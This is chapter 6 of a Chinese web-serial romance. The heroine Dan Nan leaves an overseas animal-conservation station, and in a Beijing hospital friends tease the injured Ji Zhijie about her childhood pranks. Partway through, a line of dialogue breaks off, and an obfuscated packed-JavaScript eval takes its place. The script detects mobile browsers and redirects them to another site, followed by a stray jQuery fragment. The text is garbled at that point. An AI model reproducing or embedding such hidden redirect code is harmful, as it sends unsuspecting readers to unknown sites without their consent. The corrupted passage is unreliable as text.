6
丹南要离开的消息让整个观测站猝不及防。
但是动保这个职业,人员流动是常有的事。
站长彼得为她举办了盛大的欢送会。
有了云想生物的加倍捐款,彼得立刻多加了几个前沿观测站,还能有剩余修复一下本站的基础设施。
欢送会的酒食都在能力之内拉到顶。
“我从没见过你这样纯粹的人,”彼得晃着手中的啤酒罐对丹南说,“外界只知道我投入了全部身家来做动物保护,但我只是因为丧妻之痛而寻找一条生路而已。”
要知道,面前的丹南可是把全部自有资产都投入了动保,年纪轻轻,跑遍所有艰险的地方。
他自愧弗如。
丹南笑着和他碰杯,“我是个胆小鬼,跑国外来躲人的。”
彼得深深看她一眼。
大家心中都有不愿说的秘密,自打他第一面见到这个年轻的中国姑娘,就看出她身上的骄傲和矜贵,可见出身不凡。
再有前两天那个生物科技公司的中国商人来捐款,得知那位枉顾性命也要跳海救人的老板和丹南从小一起长大的邻居。
由此可知,丹南也是出声富贵之家。
彼得没有再问,蹩脚地说了一句DAN教他的中文:“前程似锦。”
丹南笑开了,也用中文回答他:“借您吉言。”
彼得慈祥地看了她片刻,拍拍她的肩膀,无声离开。
身后是欢歌嬉笑,丹南面向夜色下的大海,试图放空思绪。
没几分钟,查尔坐到她身边的台阶上。
暴雨后的海风略有温柔,轻飘飘拂面。
二人无声地并坐许久,偶尔抬起啤酒饮一口,身后的欢笑声渐渐模糊成背景音。
查尔忽而开口:“DAN。”
“嗯?”丹南大大方方地偏头看他。
查尔终于鼓足勇气,“你知道吗?你很有魅力,你的外貌,你的专注,你的勇敢,还有你看待这个世界的方式,都深深吸引我。”
浪潮轻缓拥岸,海风温柔,丹南知道他要说什么,没有打断,只是安静地听他说。
查尔仰头喝下一大口酒,并着深深吸气,“我喜欢你,很难不喜欢你。我知道你没有结婚,也知道你面对不同的告白有不同的拒绝,也知道这可能是我最后一次见你,但我实在自私,总想把心意说给你听,希望你看在我这么礼貌的份上,拒绝得体面一些。”
英俊的男孩全程不敢偏头看,只盯着远方的月亮。
丹南听明白了,笑着摇头,“我们信仰不一样,我无法和你相爱。”
查尔不解地转头看她,“信仰?”
“嗯,”丹南点点头,“你信基督。”
查尔愈发困惑,“你信佛?”
丹南微笑着摇了摇头,撑着身子站起回头看他。
“我信党和人民。”
查尔垂眼笑出声,“很体面了,都知道你们中国人护短。”
在查尔反应的时间里,丹南伸臂朝他邀杯,笑得坦坦荡荡:“希望世界和平。”
查尔满目欣赏地同她碰杯,“敬世界和平!”
一夜过去,丹南推谢所有要送她的人,独自拎着行李登上离岛大巴。
天空一派灰蒙,车内也是一股潮味。
到机场后,她打开微信,发现季二宝仍然没有回复。
安静得像一个破产的微商。
“有点绝情了吧。”丹南对着那个Q版奥特曼嘀嘀咕咕。
想找个什么东西收拾一下。
回想老妈电话里说小姨着急她着急得每晚都睡不好。
丹南简直想笑。
她这位小姨从小到大就看她不顺眼,逮着机会就明讽暗刺的。
还关心?
现在是当地时间下午两点,那么国内就是凌晨一点半。
她拨通了小姨的电话。
连着打了五个才被接起来。
小姨的声音惊讶中带着浓浓困倦,“丹南?”
丹南好心情地挑起眉,明知故问:“小姨,你在睡觉?”
小姨被问得猝不及防,“啊?”了一声。
丹南:“小姨,我妈说你担心我一个人在外面,急得每晚都睡不着,现在才几点,你不担心我了?你怎么睡得着?”
小姨:“……”
丹南愉悦道:“你真是太不像话了,这次我就不跟你计较啦,下次注意点哦。”
*
北京。
私人医院。
米白的墙面配以浅灰色装饰条,温馨简洁的病房里充满各类食物的辛香,笑闹声不断。
茶几上摆满各类小吃零食,竖着几瓶麦卡伦,高档的酒瓶挨着两盆麻辣小龙虾,一堆人围坐沙发旁,聊得兴起,酒肉欢腾,吃吃喝喝,愣是把病房搞成了酒吧卡座。
这群人甚至没忘记分季知节一杯牛奶。
完全是在欺负瘸子走不了。
在他们对面的可调节电动病床上,季知节面无表情地靠坐在那,指尖转着一颗石头。
得知他住院,好友们立刻兴致勃勃地自带酒食来庆祝。
季知节不知道烧烤配威士忌是什么癖好。
他给张正发消息,让他明天联系两个保镖守在病房门口,不要什么妖魔鬼怪都放进来。
又点开那个不敢回复的聊天框,看了许久,还是熄灭屏幕。
继续转石头,全程无视对面的那堆热闹。
丹西非要和他说话:“我说老季,你也太拼了,去作秀还能跳海救人,谁啊?让我们季公子连命都不顾那么跳下去?”
你姐。
季知节没出声。
他这次去维鲁斯动保本来只是打算配合公关团队拍几张照片,跳海救丹南是意料之外,却误打误撞增加了新闻价值。
救助动保工作人员而手伤这种突发事件,比慈善捐赠更加正面,效果极好地化解了企业形象危机。
季知节知道丹南不想让丹家的人知道,所以对外,他没有说出丹南的名字。
再加上还有礁石滩上那段不堪回首的记忆。
他尚在积攒道歉的勇气。
但是损友毕竟是损友,逮着空疯狂打趣。
陈诚乐得不行,“做慈善的多了,我还没见过差点把命交代在那的,老季,多少有点演过了啊。”
丹西故意掐着音调:“我都不敢想象张助看见你跳下去的心理阴影面积有多大,成天吓人,你真是个不道德的坏男孩。”
说起不道德,他脑海里浮现一个极其捣蛋的人影。
丹西笑容僵了一下,慢慢摇着手里的烤串,忽然说:“我姐回来了。”
季知节猝然掀眼看过去,下意识地攥紧手里那颗石头。
陈诚也是一惊,“终于舍得回来啦?”
丹西“呵”了一声,收敛笑意,闷声说:“谁知道她。”
陈诚叹了口气:“当年到底什么事儿啊?你姐突然结婚,又跑出国,嫁了谁啊,让咱们南姐这么激烈。”
季知节也紧盯丹西。
丹西紧着眉喝了口酒,“我哪知道,谁都不告诉我,丹南也不说,狠心得很。”
他忽然捕捉到季知节的目光。
丹西又笑开了,“季少爷,这什么表情?你对我姐还应激着呢?”
季知节移开目光,继续看手机。
丹西嗤道:“闷坨子。”
陈诚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406681|184506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乐得不行:“这闷坨子还不是被你姐那个祸坨子折腾怕了。”
陈诚从小和丹西一起长大,对于丹南的种种行为,也算是一个见证人。
但此时身边还有人不知详情,问:“怎么?季知节很怕你姐?”
丹西一听这个话题就来精神了,侃侃而谈:“我姐那人从小就折腾我们二宝,乐此不疲,说就喜欢逗好看的小孩玩,八岁的时候就让六岁的小季颜面扫地。”
“不能吧,六岁的孩子能多丢人?”
季知节已经目含隐怒地看着丹西。
看他这样,丹西更是要说:“季家老太太生日晚宴,我姐哄着小季吹了几个气球挂在老太太桌边做装饰,他也是傻的,真就听话照办,没几分钟就被家里人发现了。”
丹西说着说着,自己笑得在沙发里打滚,乐不可支地总结:“太丢人了。”
好友不解:“小孩子吹气球怎么了?
陈诚也是笑得脸发酸,贴心地为人答疑解惑:“那是丹南偷了她小姨和姨夫的安全套。”
丹西笑得捂脸,“你知道吧?晚宴上,季家二老的主位旁边挂着两个带小揪揪的套套泡,季知节还站出去承认那是自己用嘴吹的。”
“关键他也不知道那是什么东西,还一本正经地在那介绍,哎哟,我现在都不敢回想当天那一桌人的表情。”
季知节叹了口气,抬手去按眉心。
对面几人笑得根本停不下来。
丹西扬眉说:“从小到大,我姐那个祸坨子就逮着季知节这个闷坨子折腾,你们瞧瞧他刚才的表情,他都怕死了!”
几人笑开。
“你姐真是个人才啊!”
丹西骄傲地一哼哼:“可不嘛。”
“没想到我们高冷的季公子还有这样的往事啊。”
丹西故意喊季知节:“大少爷,说话啊,哥们儿好心来探望你,你就这么板着个脸,你破产啦?”
季知节冷眼看他,扯了扯嘴角,“你流产,我都不会破产。”
丹西噎了一下。
陈诚难言地看他一眼,“非得让人开这个口。”
丹西“哼”了一声,对季知节抖了抖手指:“刻薄玩意儿,你真是活该被我姐收拾,这破嘴。”
“说正事儿,”陈诚拍拍丹西,“南姐回来了,咱不得给她接个风?挺多年没见了,怎么样,我攒个局?”
丹西的笑意褪去许多,“接什么风,问在哪也不说,鬼知道她又在折腾谁。”
*
同一所医院的舒缓医疗科。
几个年轻大学生红着眼从病房推出来,轻轻合上门。
他们互相看一眼,都在强忍着没哭出来。
舒缓医疗科存在的作用就是让治疗预后不佳或治愈希望低小的患者,在生命的最后阶段获得最大程度的舒适和尊严。
几个孩子都清楚,教授身在这个科室的病房意味着什么。
没走出几步,有两个女孩已经开始小声啜泣。
却不敢放声哭,走路说话都很轻。
一个戴着墨镜身着驼色风衣的女人和他们擦身而过,她扎着利落的马尾辫,额头的那块纱布十分显眼,昂首阔步地去到他们刚刚离开的那间病房。
抬脚踹开病房门。
“嘭”地一声。
几个学生惊悚地回头。
探病还是索命?
就看那个女人懒洋洋地摘下墨镜,扬起笑,嗓音清亮地朝屋里挑衅。
“哟!癌症晚期啦?!”
走廊空静,学生们听到那间病房里教授咳了两声,再说话时语带笑意,甚至有些嗔怪。
声音颇为宠溺。
“祸坨子,上哪把头撞破啦?”